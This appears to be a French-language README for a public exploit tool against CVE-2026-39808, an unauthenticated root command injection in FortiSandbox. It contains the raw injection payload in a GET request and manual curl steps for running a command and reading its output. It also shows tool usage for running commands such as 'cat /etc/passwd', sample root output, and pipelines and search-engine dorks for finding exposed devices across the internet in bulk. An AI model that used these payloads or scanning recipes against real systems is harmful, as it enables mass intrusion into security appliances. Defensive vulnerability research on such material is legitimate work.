GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

# Vérifier si une cible est vulnérable (utilise une détection basée sur canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

# Exécuter une commande spécifique sur la cible
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

# Vérifier uniquement si vulnérable, sans exécuter --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

python3 fortisandbox_rce.py -u https://target.com -o report.json

# Depuis une liste d'URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL cible
  --stdin                 Lire les URL depuis stdin (mode pipeline)
  --cmd CMD               Commande OS à exécuter (défaut : id)
  --verify-only           Vérifier uniquement la vulnérabilité, sans exécuter --cmd
  --proxy PROXY           Proxy HTTP (ex. : http://127.0.0.1:8080)
  --timeout TIMEOUT       Délai d'expiration HTTP en secondes (défaut : 15)
  --rate-limit RATE_LIMIT Délai entre les cibles en ms (défaut : 0)
  -o, --output FILE       Fichier de rapport JSON de sortie
  --no-banner             Supprimer la bannière

Étape 1  →  Détecter FortiSandbox (empreinte titre/en-tête)
Étape 2  →  Vérifier si le point de terminaison vulnérable existe
Étape 3  →  Injecter une chaîne canary unique via l'injection de commande
Étape 4  →  Lire /ng/out.txt et vérifier le canary (validation stricte de texte brut)
Étape 5  →  Exécuter la commande utilisateur + nettoyage

  ╔══════════════════════════════════════════════════════════╗
  ║  Scanner RCE FortiSandbox v1.0  —  CVE-2026-39808      ║
  ║  Injection de commande non authentifiée (root)          ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Cible : https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox détecté !
  ▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
  ▸ Statut du point de terminaison : 200 | Content-Type : text/html
  ▸ Injection du canary : mitsec_a8k3m2x1
  ▸ Lecture de la sortie : https://fortisandbox.example.com/ng/out.txt
   CRITIQUE  🔥 VULNÉRABLE — CVE-2026-39808 CONFIRMÉ !
   CRITIQUE  Cible : https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' vérifié dans la sortie (texte brut propre)

  ──────────────────────────────────────────────────────────
    Sortie de commande : id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Fichier de sortie nettoyé

  ┌──────────────────────────────────────────────────────────┐
  │ Cible : https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox détecté !
  ▸ Vérification du point de terminaison : /fortisandbox/job-detail/tracer-behavior
  ✗ Le point de terminaison a renvoyé 404 — non vulnérable ou corrigé

  ▸ Lecture de la sortie : https://target.com/ng/out.txt
  ⚠ L'URL de sortie renvoie une page HTML — c'est le SPA Angular, PAS la sortie de commande
  ▸ Content-Type : text/html
  ▸ C'est un faux positif — /ng/out.txt sert le index.html du SPA
  ▸ La cible ne semble pas vulnérable

{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

# Trouver les cibles vulnérables et les enregistrer
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Enchaîner avec nuclei pour des tests supplémentaires
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Analyse de masse silencieuse avec limitation de débit
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

services.http.response.html_title:"FortiSandbox"

title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

intitle:"FortiSandbox - Please login"

# Étape 1 : Injecter la commande
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Étape 2 : Lire la sortie
curl -s -k "https://TARGET/ng/out.txt"
# Attendu : uid=0(root) gid=0(root) groups=0(root)